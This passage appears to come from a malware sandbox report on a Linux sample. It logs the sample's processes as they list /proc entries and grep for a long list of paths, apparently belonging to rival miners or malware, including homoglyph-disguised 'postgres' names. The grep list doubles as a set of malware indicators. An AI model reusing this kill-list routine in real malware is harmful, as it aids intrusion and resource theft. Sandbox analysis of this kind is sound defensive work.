  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1225
- /bin/grep
  grep exe
  2⤵
  PID:1228
- /bin/ls
  ls -latrh /proc/iomem
  2⤵
  PID:1227
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1230
- /bin/grep
  grep exe
  2⤵
  PID:1233
- /bin/ls
  ls -latrh /proc/ioports
  2⤵
  PID:1232
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1235
- /bin/grep
  grep exe
  2⤵
  PID:1238
- /bin/ls
  ls -latrh /proc/irq
  2⤵
  PID:1237
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1240
- /bin/grep
  grep exe
  2⤵
  PID:1243
- /bin/ls
  ls -latrh /proc/kallsyms
  2⤵
  PID:1242
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1245
- /bin/grep
  grep exe
  2⤵
  PID:1248
- /bin/ls
  ls -latrh /proc/key-users
  2⤵
  PID:1247
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1250
- /bin/grep
  grep exe
  2⤵
  PID:1253
- /bin/ls
  ls -latrh /proc/keys
  2⤵
  PID:1252
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1255
- /bin/grep
  grep exe
  2⤵
  PID:1258
- /bin/ls
  ls -latrh /proc/kmsg
  2⤵
  PID:1257
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1260
- /bin/grep
  grep exe
  2⤵
  PID:1263
- /bin/ls
  ls -latrh /proc/kpagecgroup
  2⤵
  PID:1262
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1265
- /bin/grep
  grep exe
  2⤵
  PID:1268
- /bin/ls
  ls -latrh /proc/kpagecount
  2⤵
  PID:1267
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1270
- /bin/grep
  grep exe
  2⤵
  PID:1273
- /bin/ls
  ls -latrh /proc/kpageflags
  2⤵
  PID:1272
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1275
- /bin/grep
  grep exe
  2⤵
  PID:1278
- /bin/ls
  ls -latrh /proc/loadavg
  2⤵
  PID:1277
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1280
- /bin/ls
  ls -latrh /proc/locks
  2⤵
  PID:1282
- /bin/grep
  grep exe
  2⤵
  PID:1283
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1285
- /bin/ls
  ls -latrh /proc/meminfo
  2⤵
  PID:1287
- /bin/grep
  grep exe
  2⤵
  PID:1288
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1290
- /bin/grep
  grep exe
  2⤵
  PID:1293
- /bin/ls
  ls -latrh /proc/misc
  2⤵
  PID:1292
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1295
- /bin/grep
  grep exe
  2⤵
  PID:1298
- /bin/ls
  ls -latrh /proc/modules
  2⤵
  PID:1297
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1300
- /bin/grep
  grep exe
  2⤵
  PID:1303
- /bin/ls
  ls -latrh /proc/mounts
  2⤵
  PID:1302
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1305
- /bin/grep
  grep exe
  2⤵
  PID:1308
- /bin/ls
  ls -latrh /proc/mtd
  2⤵
  PID:1307
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1310
- /bin/ls
  ls -latrh /proc/net
  2⤵
  PID:1312
- /bin/grep
  grep exe
  2⤵
  PID:1313
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1315
- /bin/grep
  grep exe
  2⤵
  PID:1318
- /bin/ls
  ls -latrh /proc/pagetypeinfo
  2⤵
  PID:1317
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1320
- /bin/grep
  grep exe
  2⤵
  PID:1323
- /bin/ls
  ls -latrh /proc/partitions
  2⤵
  PID:1322
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1325
- /bin/ls
  ls -latrh /proc/sched_debug
  2⤵
  PID:1327
- /bin/grep
  grep exe
  2⤵
  PID:1328
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1330
- /bin/grep
  grep exe
  2⤵
  PID:1333
- /bin/ls
  ls -latrh /proc/schedstat
  2⤵
  PID:1332
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1335
- /bin/grep
  grep exe
  2⤵
  PID:1338
- /bin/ls
  ls -latrh /proc/self
  2⤵
  PID:1337
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1340
- /bin/ls
  ls -latrh /proc/slabinfo
  2⤵
  PID:1342
- /bin/grep
  grep exe
  2⤵
  PID:1343
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1345
- /bin/ls
  ls -latrh /proc/softirqs
  2⤵
  PID:1347
- /bin/grep
  grep exe
  2⤵
  PID:1348
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1350
- /bin/grep
  grep exe
  2⤵
  PID:1353
- /bin/ls
  ls -latrh /proc/stat
  2⤵
  PID:1352
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1355
- /bin/grep
  grep exe
  2⤵
  PID:1358
- /bin/ls
  ls -latrh /proc/swaps
  2⤵
  PID:1357
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1360
- /bin/grep
  grep exe
  2⤵
  PID:1363
- /bin/ls
  ls -latrh /proc/sys
  2⤵
  PID:1362
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1365
- /bin/grep
  grep exe
  2⤵
  PID:1368
- /bin/ls
  ls -latrh /proc/sysrq-trigger
  2⤵
  PID:1367
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1370
- /bin/grep
  grep exe
  2⤵
  PID:1373
- /bin/ls
  ls -latrh /proc/sysvipc
  2⤵
  - System Network Configuration Discovery
  PID:1372
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1375
- /bin/grep
  grep exe
  2⤵
  PID:1378
- /bin/ls
  ls -latrh /proc/thread-self
  2⤵
  PID:1377
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1380
- /bin/grep
  grep exe
  2⤵
  PID:1383
- /bin/ls
  ls -latrh /proc/timer_list
  2⤵
  PID:1382
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1385
- /bin/grep
  grep exe
  2⤵
  PID:1388
- /bin/ls
  ls -latrh /proc/tty
  2⤵
  PID:1387
- /bin/grep
  grep -q "/var/lib/postgresql/data/pоstgres\\|atlas.x86\\|dotsh\\|/tmp/systemd-private-\\|bin/sysinit\\|.bin/xorg\\|nine.x86\\|data/pg_mem\\|/var/lib/postgresql/data/.*/memory\\|/var/tmp/.bin/systemd\\|balder\\|sys/systemd\\|rtw88_pcied\\|.bin/x\\|httpd_watchdog\\|/var/Sofia\\|3caec218-ce42-42da-8f58-970b22d131e9\\|/tmp/watchdog\\|cpu_hu\\|/tmp/Manager\\|/tmp/manh\\|/tmp/agettyd\\|/var/tmp/java\\|/var/lib/postgresql/data/pоstmaster\\|/memfd\\|/var/lib/postgresql/data/pgdata/pоstmaster\\|/tmp/.metabase/metabasew"
  2⤵
  PID:1390
- /bin/grep
  grep exe
  2⤵
  PID:1393
- /bin/ls
  ls -latrh /proc/uptime
  2⤵
  PID:1392
- /bin/grep
